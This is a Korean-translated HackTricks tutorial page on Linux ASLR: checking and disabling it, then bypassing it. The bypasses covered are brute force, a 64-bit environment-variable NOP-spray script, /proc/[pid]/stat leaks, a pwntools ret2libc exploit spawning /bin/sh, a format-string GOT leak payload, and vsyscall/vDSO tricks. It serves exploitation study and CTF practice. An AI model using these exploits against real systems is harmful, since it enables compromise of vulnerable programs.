hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr
2024-04-17 05:41:19 +00:00
..
README.md Translated ['binary-exploitation/basic-binary-exploitation-methodology/t 2024-04-17 05:41:19 +00:00
ret2plt.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:17:55 +00:00
ret2ret.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:17:55 +00:00

ASLR

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

기본 정보

**주소 공간 레이아웃 무작위화 (ASLR)**는 운영 체제에서 사용되는 보안 기술로, 시스템 및 응용 프로그램 프로세스에서 사용하는 메모리 주소를 무작위로 변경합니다. 이렇게 함으로써 특정 프로세스 및 데이터의 위치를 예측하는 것이 상당히 어려워져 공격자가 스택, 힙, 라이브러리와 같은 특정 유형의 취약점을 완화하는 데 도움이 됩니다.

ASLR 상태 확인

Linux 시스템에서 ASLR 상태를 확인하려면 /proc/sys/kernel/randomize_va_space 파일에서 값을 읽을 수 있습니다. 이 파일에 저장된 값은 적용되는 ASLR 유형을 결정합니다:

  • 0: 무작위화 없음. 모든 것이 정적입니다.
  • 1: 보수적인 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다.
  • 2: 완전한 무작위화. 보수적인 무작위화에 의해 무작위화되는 요소에 추가로 brk()를 통해 관리되는 메모리가 무작위화됩니다.

다음 명령어로 ASLR 상태를 확인할 수 있습니다:

cat /proc/sys/kernel/randomize_va_space

ASLR 비활성화

ASLR을 비활성화하려면 /proc/sys/kernel/randomize_va_space의 값을 0으로 설정합니다. ASLR을 비활성화하는 것은 일반적으로 테스트 또는 디버깅 시나리오 이외에는 권장되지 않습니다. 다음은 비활성화하는 방법입니다:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

당신은 또한 실행을 위해 ASLR을 비활성화할 수 있습니다:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLR 활성화

ASLR를 활성화하려면 /proc/sys/kernel/randomize_va_space 파일에 2 값을 작성할 수 있습니다. 일반적으로 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령을 사용할 수 있습니다:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

부팅 시 지속성

echo 명령으로 만든 변경 사항은 일시적이며 재부팅시 초기화됩니다. 변경 사항을 지속적으로 유지하려면 /etc/sysctl.conf 파일을 편집하여 다음 줄을 추가하거나 수정해야 합니다:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

/etc/sysctl.conf 파일을 편집한 후 다음을 사용하여 변경 사항을 적용하십시오:

sudo sysctl -p

이렇게 하면 ASLR 설정이 다시 부팅되어도 유지됩니다.

우회 방법

32비트 무차별 대입

PaX는 프로세스 주소 공간을 3 그룹으로 나눕니다:

  • 코드와 데이터 (초기화된 및 초기화되지 않은): .text, .data, 및 .bss —> delta_exec 변수에서 16비트의 엔트로피. 이 변수는 각 프로세스마다 무작위로 초기화되며 초기 주소에 추가됩니다.
  • mmap()에 의해 할당된 메모리공유 라이브러리 —> 16비트, delta_mmap이라고 함.
  • 스택 —> 24비트, delta_stack이라고 함. 그러나 실제로는 11비트를 사용합니다 (10번째부터 20번째 바이트까지 포함), 16바이트에 정렬됨 —> 이로 인해 524,288개의 가능한 실제 스택 주소가 생성됩니다.

이전 데이터는 32비트 시스템을 위한 것이며 최종 엔트로피 감소로 인해 공격이 성공적으로 완료될 때까지 실행을 다시 시도하여 ASLR을 우회할 수 있습니다.

무차별 대입 아이디어:

  • 쉘코드 앞에 큰 NOP 슬레드를 호스팅할만큼 충분한 오버플로우가 있다면, 스택 주소를 무차별 대입하여 흐름이 NOP 슬레드의 일부를 건너뛰도록 할 수 있습니다.
  • 오버플로우가 그리 크지 않고 공격을 로컬에서 실행할 수 있는 경우, 환경 변수에 NOP 슬레드와 쉘코드를 추가할 수 있습니다.
  • 공격이 로컬인 경우, libc의 기본 주소를 무차별 대입해 볼 수 있습니다 (32비트 시스템에 유용함):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • 원격 서버를 공격할 때 libc 함수 usleep의 주소를 **무차별 대입(brute-force)**하여 인자로 10을 전달할 수 있습니다. 서버가 응답하는 데 10초 더 걸린다면 이 함수의 주소를 찾은 것입니다.

{% hint style="success" %} 64비트 시스템에서 엔트로피가 훨씬 높아 이것은 불가능할 것입니다. {% endhint %}

64비트 스택 무차별 대입

환경 변수로 스택의 큰 부분을 점유한 다음 이를 남용하여 이진 파일을 수백 번/수천 번 실행하여 로컬에서 악용할 수 있습니다.
다음 코드는 스택에서 주소를 선택하고 매 수백 번 실행할 때마다 해당 주소에 NOP 명령어가 포함될 수 있는 방법을 보여줍니다:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

로컬 정보 (/proc/[pid]/stat)

프로세스의 /proc/[pid]/stat 파일은 항상 모든 사람이 읽을 수 있으며 흥미로운 정보를 포함하고 있습니다:

  • startcodeendcode: 이진 파일의 TEXT와 관련된 위쪽 및 아래쪽 주소
  • startstack: 스택의 시작 주소
  • start_dataend_data: BSS가 있는 위쪽 및 아래쪽 주소
  • kstkespkstkeip: 현재 ESPEIP 주소
  • arg_startarg_end: cli arguments가 있는 위쪽 및 아래쪽 주소
  • env_startenv_end: 환경 변수가 있는 위쪽 및 아래쪽 주소

따라서, 공격자가 이진 파일이 있는 컴퓨터와 동일한 위치에 있고, 해당 이진 파일이 원시 인수에서 오버플로우를 기대하지 않지만 이 파일을 읽은 후 생성할 수 있는 다른 입력에서 오버플로우가 발생한다면. 공격자는 이 파일에서 일부 주소를 가져와 해당 주소로부터 공격을 위한 오프셋을 구성할 수 있습니다.

{% hint style="success" %} 이 파일에 대한 자세한 정보는 https://man7.org/linux/man-pages/man5/proc.5.html에서 /proc/pid/stat을 검색하여 확인하십시오. {% endhint %}

Leak이 있는 경우

  • 도전 과제는 leak을 제공하는 것입니다

Leak이 주어진 경우 (쉬운 CTF 도전 과제), 해당 leak에서 오프셋을 계산할 수 있습니다 (예를 들어, 공격하는 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정). 이 예제 exploit은 여기의 예제에서 추출되었습니다 (자세한 내용은 해당 페이지를 확인하십시오):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

버퍼 오버플로우를 악용하여 ret2plt를 이용하여 libc에서 함수의 주소를 유출할 수 있습니다. 확인하세요:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

  • Format Strings Arbitrary Read

ret2plt와 마찬가지로 포맷 문자열 취약점을 통해 임의의 읽기가 가능하면 libc 함수의 주소를 GOT에서 유출할 수 있습니다. 다음은 여기에서 예제를 확인하세요:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

다음은 Format Strings 임의 읽기에 대한 자세한 정보를 찾을 수 있습니다:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

스택 내부의 주소를 악용하여 ASLR을 우회하려고 시도하십시오:

{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}

vsyscall

vsyscall 메커니즘은 일부 시스템 호출을 사용자 공간에서 실행하여 성능을 향상시키는 데 사용됩니다. 이러한 시스템 호출은 기본적으로 커널의 일부이지만 vsyscalls의 주요 장점은 고정 주소에 있습니다. 이러한 고정된 특성으로 인해 ASLR (주소 공간 레이아웃 무작위화)의 영향을 받지 않습니다. 이 고정된 특성은 공격자가 주소를 확인하고 악용하기 위해 정보 누출 취약점이 필요하지 않다는 것을 의미합니다.
그러나 여기에는 특별히 흥미로운 가젯이 없을 것입니다 (예를 들어 ret;과 같은 것을 얻을 수는 있습니다)

(다음 예제 및 코드는 이 writeup에서 가져온 것입니다)

예를 들어, 공격자는 악용 내에서 주소 0xffffffffff600800를 사용할 수 있습니다. ret 명령으로 직접 이동하려는 시도는 몇 가지 가젯을 실행한 후 불안정성이나 충돌로 이어질 수 있지만, vsyscall 섹션에서 제공되는 syscall의 시작 지점으로 이동하면 성공할 수 있습니다. vsyscall 주소로 실행을 이끄는 ROP 가젯을 신중하게 배치함으로써, 공격자는 이 악용 부분의 ASLR 우회 없이 코드 실행을 달성할 수 있습니다.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

따라서 커널이 CONFIG_COMPAT_VDSO로 컴파일된 경우 vdso 주소가 무작위화되지 않기 때문에 vdso를 악용하여 ASLR을 우회할 수 있습니다. 자세한 내용은 확인하세요:

{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} ret2vdso.md {% endcontent-ref %}